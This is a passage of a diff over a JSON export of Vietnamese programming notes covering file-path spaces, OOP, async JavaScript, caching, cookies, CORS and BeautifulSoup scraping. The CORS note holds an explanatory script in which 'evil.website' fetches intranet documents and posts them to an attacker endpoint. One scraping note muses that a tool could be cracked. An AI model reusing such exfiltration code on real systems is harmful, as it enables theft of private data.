câu hỏi đầu tiên của tôi dành cho những người đang cần tôi giúp đỡ vì nó quá chậm so với phiên bản C++ của họ là một phiên bản của \"bạn điên à?! 10 ngàn dòng code JS?! \"\r\n\r\nNguồn:: [Why is Math.random() not designed to be cryptographically secure?](https://security.stackexchange.com/a/181623/94500)\r\n\r\nTrong khi đó, [[Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết]] \r\n\r\nChính vì lý do này, nên khi rốt cuộc JS được dùng nhiều, người ta cần tạo thêm nhiều công cụ cho nó:\r\n- [[TypeScript cung cấp kiểu cho JS]] \r\n- [[Node.js là cách để dùng JS ở backend]]\r\n\r\nXem thêm:: [[Lịch sử phát triển của JavaScript]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VB" + "id": "Yv" }, { - "Tiêu đề": "Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII", + "Tiêu đề": "Nếu compiler không làm cho lập trình viên thấy rõ lỗi của họ là gì, thì đó là lỗi của Rust, không phải của họ", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế/Nếu compiler không làm cho lập trình viên thấy rõ lỗi của họ là gì, thì đó là lỗi của Rust, không phải của họ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| | Cho dùng dấu cách | Ký tự `%` | Các ký tự phi ASCII |\r\n| --------------------------- | ----------------- | --------- | ------------------- |\r\n| Markdown | ❌ | | ✔ |\r\n| YAML | ❌ | | ✔ |\r\n| URL | ✔ | ❌ | ✔ |\r\n| Domain | ✔ | | ✔ |\r\n| Thuộc tính `src` trong HMTL | ✔ | | ✔ |\r\n| Query | ❌ | | ✔ |\r\n| Windows path | ✔ | ✔ | ✔ |\r\n| Linux path | ✔ | | ✔ |\r\n| Mac path | ✔ | | ✔ |\r\n| Docker | ❌ | | ❌ |\r\n\r\nNên tránh dùng ký tự `%` trong tên tập tin, nhất là nếu sau này sẽ biến thành web. Vì dấu này chính là dấu để encode, nên không như những ký tự khác, khi decode sẽ gặp lỗi\r\n[What is the difference between decodeURIComponent and decodeURI?](https://stackoverflow.com/q/747641/3416774)\r\n[[Sự khác biệt giữa Windows và Android, Mac trong tên file]]\r\n\r\n[[Các ký tự ASCII có 1 điểm mã]]", + "Toàn bộ nội dung": "Nguồn:: ![Why is the JavaScript ecosystem switching to Rust? - YouTube](https://youtu.be/dZQMoEWe5uY?si=Rmr4RCwH5fSeQO2Z&t=1171)\r\n\r\n[[Viết chương trình bằng Rust giống như sống trong mối quan hệ bạo hành]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:38:00.000Z", - "id": "VC" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Yw" }, { - "Tiêu đề": "Những chương trình cũ sẽ dễ gặp vấn đề về dấu cách hơn những chương trình mới", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Những chương trình cũ sẽ dễ gặp vấn đề về dấu cách hơn những chương trình mới", + "Tiêu đề": "Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế/Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chương trình mới thì dấu cách có thể chỉ hơi phiền. Nhưng những chương trình cũ thì có thể sẽ gặp lỗi. Hoặc có thể chương trình đó không cũ, nhưng nó phải được phục vụ cho cho những chương trình cũ. VD: Docker, Git\r\n\r\nNguồn:: [Is having a space in note names bad? : r/ObsidianMD](https://www.reddit.com/r/ObsidianMD/comments/1eouwak/comment/lhhm55i/?utm_source=share&utm_medium=mweb3x&utm_name=mweb3xcss&utm_term=1&utm_content=share_button)\r\n\r\n[[Việc có khoảng trắng trong tên file sẽ khiến việc xử lý code phức tạp hơn]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:38:00.000Z", - "id": "VD" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Yx" }, { - "Tiêu đề": "Tên mô đun Python sẽ được dùng làm identifier. Identifier không được có dấu cách", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Tên mô đun Python sẽ được dùng làm identifier. Identifier không được có dấu cách", + "Tiêu đề": "Ý đồ thiết kế", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "You should take the spaces out of the filename. Because the filename is used as the identifier for imported modules (i.e. `foo.py` will be imported as `foo`) and Python identifiers can't have spaces, this isn't supported by the `import` statement.\r\n\r\nIf you _really_ need to do this for some reason, you can use the `__import__` function:\r\n\r\n```python\r\nfoo_bar = __import__(\"foo bar\")\r\n```\r\n\r\nThis will import `foo bar.py` as `foo_bar`. This behaves a little bit different than the `import` statement and you should avoid it.\r\n\r\nNguồn:: [How do you import a file in python with spaces in the name? (duplicate)](https://stackoverflow.com/a/9123555/3416774)", + "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế\" \r\nWHERE file.name != this.file.name\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:38:00.000Z", - "id": "VE" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Yy" }, { - "Tiêu đề": "Under the hood, hệ điều hành và trình duyệt chỉ sử dụng đường dẫn ASCII", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Under the hood, hệ điều hành và trình duyệt chỉ sử dụng đường dẫn ASCII", + "Tiêu đề": "Cache giúp giảm thời gian tải trang", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cache giúp giảm thời gian tải trang", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> Once upon a time, you could **only** use ascii, even in typing or viewing urls. Then unicode was invented and, as time went on, various user/machine translation layers were built. It takes effort to make such a translation layer. VS Code doesn't have such a translation layer and probably won't. What it does have is a powerful extension interface.\r\n\r\nTrích từ:: [[Stack Overflow]], [javascript - Modules' names contain unicode characters. How to have them not encoded in suggestion? - Stack Overflow](https://stackoverflow.com/questions/76764132/modules-names-contain-unicode-characters-how-to-have-them-not-encoded-in-sugge?noredirect=1#comment135339409_76764132)\r\n", + "Mô tả bài đăng": "Nó giống cái tủ lạnh. Thay vì hằng ngày bạn phải đi chợ, thì hằng tuần bạn đi chợ cho đồ vào tủ lạnh, rồi hằng ngày bạn chỉ việc ra tủ lạnh lấy đồ", + "Toàn bộ nội dung": "Nó giống cái tủ lạnh. Thay vì hằng ngày bạn phải đi chợ, thì hằng tuần bạn đi chợ cho đồ vào tủ lạnh, rồi hằng ngày bạn chỉ việc ra tủ lạnh lấy đồ\r\n\r\nNguồn:: [[CodeAnalogies]], [Web Caching Explained by Buying Milk at the Supermarket – CodeAnalogies Blog](https://blog.codeanalogies.com/2018/06/11/web-caching-explained-by-buying-milk-at-the-supermarket/)\r\n\r\n\r\n[[Khi chỉnh CSS mà thấy không thay đổi, thử xoá cache xem]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:38:00.000Z", - "id": "VF" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Yz" }, { - "Tiêu đề": "Việc có khoảng trắng trong tên file sẽ khiến việc xử lý code phức tạp hơn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Việc có khoảng trắng trong tên file sẽ khiến việc xử lý code phức tạp hơn", + "Tiêu đề": "Cookie lưu thông tin cá nhân để server nhận dạng được ai với ai", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cookie lưu thông tin cá nhân để server nhận dạng được ai với ai", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Điều này dễ thấy nhất khi tên file có ở trong biến. Ví dụ, thay vì có thể viết `foo $filename`, ta phải viết `foo \"$filename\"`. Vì nhỡ `$filename` có khoảng trắng thì \r\n\r\nKhi viết code thì tốt nhất dùng dạng raw. Ví dụ:\r\n```js\r\nconst cmd = new Deno.Command(\"deno\", { args: [\"run\", \"--allow-all\", \"--allow-run\", String.raw`${filename}`, câuNhập, '--json-debug'] });\r\n```\r\n\r\nTrong việc xử lý URL, dấu cách sẽ được chuyển sang `%20`. Nếu sau dấu cách có ký tự số thì sẽ dễ gây hiểu lầm: `ảnh 1.jpg` → `ảnh%201.jpg`.\r\n\r\nNếu code HTTP không xử lý tốt thì khi người dùng tải `Danh sách.pdf` thì thứ họ nhận được là file `Danh`. Họ phải thêm đuôi `.pdf` thủ công.\r\n\r\nDocker và Git bắt phải dùng ký tự ASCII và không có khoảng trắng\r\n\r\n[[Tên mô đun Python sẽ được dùng làm identifier. Identifier không được có dấu cách]]\r\n\r\n", + "Toàn bộ nội dung": "Nguồn:: [Internet Cookies Explained by Taking Your Kids To The Doctor’s Office – CodeAnalogies Blog](https://blog.codeanalogies.com/2018/06/02/internet-cookies-explained-by-taking-your-kids-to-the-doctors-office/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-12T06:33:00.000Z", - "Ngày cập nhật": "2024-08-25T13:38:00.000Z", - "id": "VG" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Y-" }, { - "Tiêu đề": "Compile time là lúc chuyển từ ngôn ngữ lập trình mà người hiểu sang ngôn ngữ máy chỉ có máy mới hiểu. Runtime là lúc máy chạy mã máy", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Compile time là lúc chuyển từ ngôn ngữ lập trình mà người hiểu sang ngôn ngữ máy chỉ có máy mới hiểu. Runtime là lúc máy chạy mã máy", + "Tiêu đề": "CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![Compile Time vs. Runtime - YouTube](https://www.youtube.com/watch?v=AxgXCUxPIf8)\r\n\r\nThường mọi người dùng compile time đồng nghĩa với developing time", + "Toàn bộ nội dung": "You are at work and you're connected to your company's intranet. Only people in your company's network can see this special website containing secret documents.\r\n\r\nYou visit this random website: [https://evil.website](https://evil.website). On this website, there is the following code:\r\n```js\r\nconst fetchResult = await fetch(\"https://yourcompany.website/secret/documents\");\r\nconst secretsPage = await fetchResult.text();\r\nawait fetch(\"https://evil.website/database/save\", { method: \"post\", body: secretsPage });\r\n```\r\n\r\nSame origin policy (enabled on every browser) disallows this. You cannot be on evil.website and make a request to another website. So line 1 would throw an error and the rest of the code wouldn't run, saving you from a nasty situation.\r\n\r\nCORS exists to loosen up this rule. Maybe yourcompany.website is totally cool with the above scenario because evil.website is their poorly named trusted partner. So yourcompany.website sets up CORS to tell the browser: \"hey if you're making this request from evil.website, it's totally cool with us.\" Now the above code will work as expected as the browser is satisfied with this exception to the same origin policy.\r\n\r\nIn the above example, your browser was potentially being abused to exfiltrate company secrets that are only accessible from your network. Same origin policy protects **your browser** from being abused in these ways. CORS is about providing exceptions to this rule.\r\n\r\nThe misconception here is the following. People set up CORS on their webserver. That's why they expect CORS protects their web server in some way. This is 100% wrong. Setting CORS up properly is about protecting the clients (ie. browsers). The only side-effect CORS has for your webserver is that it may add a few response headers to help out the browser make a decision. The real magic happens on the browser.\r\n\r\nTrích từ:: [What is CORS and why is it so annoying : r/reactjs](https://www.reddit.com/r/reactjs/comments/11cyejn/comment/ja77iy4/)\r\n\r\n[How to win at CORS - JakeArchibald.com](https://jakearchibald.com/2021/cors/)\r\n![](https://wizardzines.com/images/uploads/why-same-origin-matters.png) \r\n[[Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia]]\r\n[[Origin là sự kết hợp của protocol, hostname và port]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VH" + "id": "Y_" }, { - "Tiêu đề": "Khái niệm cơ bản và nguyên lý lập trình", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản và nguyên lý lập trình", + "Tiêu đề": "Có 4 loại vật thể (4 lớp): Tag, NavigableString, BeautifulSoup, và Comment", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/BeautifulSoup/Có 4 loại vật thể. Tag, NavigableString, BeautifulSoup, và Comment", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```\r\n![객체지향 프로그래밍? 문과도 이해쌉가능. 10분컷. - YouTube](https://youtu.be/cg1xvFy1JQQ)\r\n![Fetching Title#qvdn](https://youtu.be/pTB0EiLXUC8)\r\n", + "Toàn bộ nội dung": "[[Tag là từ điển]]. [[NavigableString là những chữ có trong tag]]\r\nNguồn:: [Beautiful Soup Documentation — Beautiful Soup 4.12.0 documentation](https://www.crummy.com/software/BeautifulSoup/bs4/doc/#kinds-of-objects)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VI" + "id": "Z0" }, { - "Tiêu đề": "4 đặc điểm của lập trình hướng vật thể", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/4 đặc điểm của lập trình hướng vật thể", + "Tiêu đề": "find() chỉ kiếm tag đầu tiên, find_all() mới kiếm tất cả các tag", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/BeautifulSoup/find() chỉ kiếm tag đầu tiên, find_all() mới kiếm tất cả các tag", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Tính trừu tượng (abstraction)\r\n- [[Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó|Tính đóng gói (encapsulation)]] và che giấu dữ liệu (data hiding) \r\n- Tính đa hình (polymorphism) \r\n- Tính kế thừa (inheritance) \r\n\r\nNguồn:: [Lập Trình Hướng Đối Tượng Là Gì?](https://blog.luyencode.net/lap-trinh-huong-doi-tuong-cpp/)\r\n\r\n[[Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể]]\r\n[Separation of concerns - Wikipedia](https://en.wikipedia.org/wiki/Separation_of_concerns)\r\n", + "Toàn bộ nội dung": "```python\r\n# return the first meta tag\r\nsoup.find(\"meta\")\r\n\r\n# return all meta tag\r\nsoup.find_all(\"meta\")\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-19T05:15:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VJ" + "id": "Z1" }, { - "Tiêu đề": "Biểu thức (expression) là những thứ trả lại một giá trị nào đó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Biểu thức (expression) là những thứ trả lại một giá trị nào đó", + "Tiêu đề": "NavigableString là những chữ có trong tag", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/BeautifulSoup/NavigableString là những chữ có trong tag", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Ternary operators in JavaScript without an \"else\"](https://stackoverflow.com/a/2933472/3416774)\r\n", + "Toàn bộ nội dung": "Nguồn:: [Beautiful Soup Documentation — Beautiful Soup 4.12.0 documentation](https://www.crummy.com/software/BeautifulSoup/bs4/doc/#bs4.NavigableString)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VK" + "id": "Z2" }, { - "Tiêu đề": "Hoạt động trung tâm của lập trình hướng vật thể là phân loại", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hoạt động trung tâm của lập trình hướng vật thể là phân loại", + "Tiêu đề": "Tag là từ điển", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/BeautifulSoup/Tag là từ điển", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Classifying is a central activity in object-oriented programming and distinguishes it from procedural programming. Traditional logic, initiated by Aristotle, assigns classification to our first activity in reasoning, whereby we come to know what a thing is. Such a grasp of the thing's whatness is the foundation for all further reasoning about it.\r\n\r\nNguồn:: [Is there any philosophical theory behind the concept of object in computer science?](https://philosophy.stackexchange.com/a/99671/19487)\r\n", + "Toàn bộ nội dung": "```python\r\nsoup = BeautifulSoup('<b class=\"boldest\">Extremely bold</b>', 'html.parser')\r\ntag = soup.b\r\ntype(tag)\r\n# <class 'bs4.element.Tag'>\r\n```\r\n\r\n```python\r\ntag = BeautifulSoup('<b id=\"boldest\">bold</b>', 'html.parser').b\r\ntag['id']\r\n# 'boldest'\r\n```\r\nNguồn:: [Beautiful Soup Documentation — Beautiful Soup 4.12.0 documentation](https://www.crummy.com/software/BeautifulSoup/bs4/doc/#bs4.Tag.attrs) \r\n[[Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VL" + "id": "Z3" }, { - "Tiêu đề": "Giao diện là cái khuôn của phương thức", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Giao diện là cái khuôn của phương thức", + "Tiêu đề": "Cào web", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giao diện (interface) là tập hợp tất cả các phương thức **chung** của **nhiều** lớp **liên quan với nhau**. Nó giống như [[Lớp là một cái khuôn để tạo các vật thể cho nhanh|lớp]] nhưng mà không phải cho vật thể mà là cho phương thức của vật thể\r\n\r\n[[API là giao diện của một chương trình]] \r\n[[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]", + "Toàn bộ nội dung": "![The Ultimate Scraper Tutorial | Extract Data Without Code - YouTube](https://youtu.be/26Gt_9kFVok?si=4jzHc0Ni0UEcHZ-p)\r\n- Có bản miễn phí\r\n- Thực chất là dùng trên local nên chắc có thể crack được\r\n- ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VM" + "id": "Z4" }, { - "Tiêu đề": "Hàm cần gọi phải ở trong then", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Hàm cần gọi phải ở trong then", + "Tiêu đề": "Kiếm backend API trước hơn là cào bằng frontend", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/Kiếm backend API trước hơn là cào bằng frontend", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tại sao khi gọi async function thì lại để console.log() trong then chứ không để ở ngoài được nhỉ? Phải là:\n```js\nasyncFunction(arg).then((result) => { console.log(result) })\n```\n\nChứ không thể là:\n\n```js\nconst a = asyncFunction(arg).then((result) => { result }) console.log(a)\n```\n\nduydang\n\nở ngoài thì log ra Promise, ở trong then thì log ra kết quả của Promise\n\ntại async function lúc tạo ra nó là nó đẩy vào 1 cái asyncqueue thôi\n`asyncFunction(arg)` là đẩy `asyncFunction(arg)` vào cái asyncQ, xong chạy tiếp các code bên dưới, vd ở đây là `console.log(a)`\n\n\n`a` lúc này là null vì `asyncFunction(arg)` chưa chạy xong\n\n\nsau khi `asyncFunction(arg)` thì `a` mới được gán = result, lúc này console.log(a) đã chạy rồi\n- asyncFunction(arg) -> đẩy vào asyncQ\n- chạy tiếp console.log(a) // in ra object rỗng hay null gì đấy\n- asyncFunction(arg) chạy xong, gán a = 1 object mới là result, object a cũ được log trong console vẫn là null\n\nNếu để console.log() ở trong then thì\n\n- asyncFunction(arg) đẩy vào asyncQ\n- chờ asyncFunction(arg) chạy xong, chạy .then: gọi console.log(result)\n\ncode của main loop js thì có thể là như thế này:\n\n```js\nwhile (1) { chạy 1 vài lệnh trong main loop nếu asyncQ có việc, pop 1 việc ra chạy việc đó }\n```\n\nthì cái code kia nó chạy là\n\n```js\nwhile (1) { const a = asyncFunction(arg).then((result) => { result }); console.log(a); }\n```\n\nthì nó chạy theo kiểu\n\n`- vòng lặp thứ 1: - đẩy asyncFunction(arg) vào asyncQ - console.log(a) - vòng lặp thứ 2: - asyncQ có việc, pop ra là asyncFunction(arg) - chạy asyncFunction(arg) - chạy xong gọi tiếp .then: - gán a = result`\n\nnếu 1 hàm có liên quan tới internet download gì đó thì nó sẽ đẩy lệnh download/upload đó vào 1 cái queue khác là networkQ gì đấy, cái networkQ này là 1 threadpool thật. Còn asyncQ chỉ là 1 cái queue thuần túy thôi thì phải\n\nJS có đa luồng ở networkQ, nhưng ko có đa luồng ở asyncQ \n\nJS khác với các ngôn ngữ khác chỉ chạy 1 lần rồi tắt thì JS nó chạy suốt thời gian tồn tại của 1 tab trong browser nên nó xài 1 cái loop vô tận (tới khi tắt tab) gọi là event loop :V\n\n\n[https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop \"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop\")\n\n\n`a` lúc này là null vì `asyncFunction(arg)` chưa chạy xong\n\n\nnếu code vậy thì giá trị của `a` là `Promise` mà chứ đâu null nhỉ anh\n\n\n\ntoy cũng ko chắc :V biết sơ sơ à :V console log nó in ra gì\n\n\nin ra promise thì a là promise thôi \n\n\nchắc là null chớ \n\nNguồn:: [Discord](https://discord.com/channels/420246254254030856/420547926146678785/1143149285387550822)\n\nTại sao khi gọi async function thì lại để console.log() trong then chứ không để ở ngoài được nhỉ? Phải là:\n```js\nasyncFunction(arg).then((result) => { console.log(result) })\n```\n\nChứ không thể là:\n\n```js\nconst a = asyncFunction(arg).then((result) => { result }) console.log(a)\n```\n\nduydang\n\nở ngoài thì log ra Promise, ở trong then thì log ra kết quả của Promise\n\ntại async function lúc tạo ra nó là nó đẩy vào 1 cái asyncqueue thôi\n`asyncFunction(arg)` là đẩy `asyncFunction(arg)` vào cái asyncQ, xong chạy tiếp các code bên dưới, vd ở đây là `console.log(a)`\n\n\n`a` lúc này là null vì `asyncFunction(arg)` chưa chạy xong\n\n\nsau khi `asyncFunction(arg)` thì `a` mới được gán = result, lúc này console.log(a) đã chạy rồi\n- asyncFunction(arg) -> đẩy vào asyncQ\n- chạy tiếp console.log(a) // in ra object rỗng hay null gì đấy\n- asyncFunction(arg) chạy xong, gán a = 1 object mới là result, object a cũ được log trong console vẫn là null\n\nNếu để console.log() ở trong then thì\n\n- asyncFunction(arg) đẩy vào asyncQ\n- chờ asyncFunction(arg) chạy xong, chạy .then: gọi console.log(result)\n\ncode của main loop js thì có thể là như thế này:\n\n```js\nwhile (1) { chạy 1 vài lệnh trong main loop nếu asyncQ có việc, pop 1 việc ra chạy việc đó }\n```\n\nthì cái code kia nó chạy là\n\n```js\nwhile (1) { const a = asyncFunction(arg).then((result) => { result }); console.log(a); }\n```\n\nthì nó chạy theo kiểu\n\n`- vòng lặp thứ 1: - đẩy asyncFunction(arg) vào asyncQ - console.log(a) - vòng lặp thứ 2: - asyncQ có việc, pop ra là asyncFunction(arg) - chạy asyncFunction(arg) - chạy xong gọi tiếp .then: - gán a = result`\n\nnếu 1 hàm có liên quan tới internet download gì đó thì nó sẽ đẩy lệnh download/upload đó vào 1 cái queue khác là networkQ gì đấy, cái networkQ này là 1 threadpool thật. Còn asyncQ chỉ là 1 cái queue thuần túy thôi thì phải\n\nJS có đa luồng ở networkQ, nhưng ko có đa luồng ở asyncQ \n\nJS khác với các ngôn ngữ khác chỉ chạy 1 lần rồi tắt thì JS nó chạy suốt thời gian tồn tại của 1 tab trong browser nên nó xài 1 cái loop vô tận (tới khi tắt tab) gọi là event loop :V\n\n\n[https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop \"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop\")\n\n\n`a` lúc này là null vì `asyncFunction(arg)` chưa chạy xong\n\n\nnếu code vậy thì giá trị của `a` là `Promise` mà chứ đâu null nhỉ anh\n\n\n\ntoy cũng ko chắc :V biết sơ sơ à :V console log nó in ra gì\n\n\nin ra promise thì a là promise thôi \n\n\nchắc là null chớ \n\nNguồn:: [Discord](https://discord.com/channels/420246254254030856/420547926146678785/1143149285387550822)\n", + "Toàn bộ nội dung": "Nguồn:: \r\n![The Biggest Mistake Beginners Make When Web Scraping - YouTube](https://youtu.be/G7s0eGOaRPE?si=ANRwjI3g9xinqAil)\r\n![Always Check for the Hidden API when Web Scraping - YouTube](https://youtu.be/DqtlR0y0suo?si=WZdEdGAkoetfmO4P)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-02T08:12:00.000Z", - "id": "VN" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Z5" }, { - "Tiêu đề": "Hàm vô danh chính là lambda", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Hàm vô danh chính là lambda", + "Tiêu đề": "Remote Control được sinh ra để giải quyết vấn đề Same-Origin Policy", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/Selenium/Remote Control được sinh ra để giải quyết vấn đề Same-Origin Policy", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Anonymous function - Wikipedia](https://en.wikipedia.org/wiki/Anonymous_function)", + "Toàn bộ nội dung": 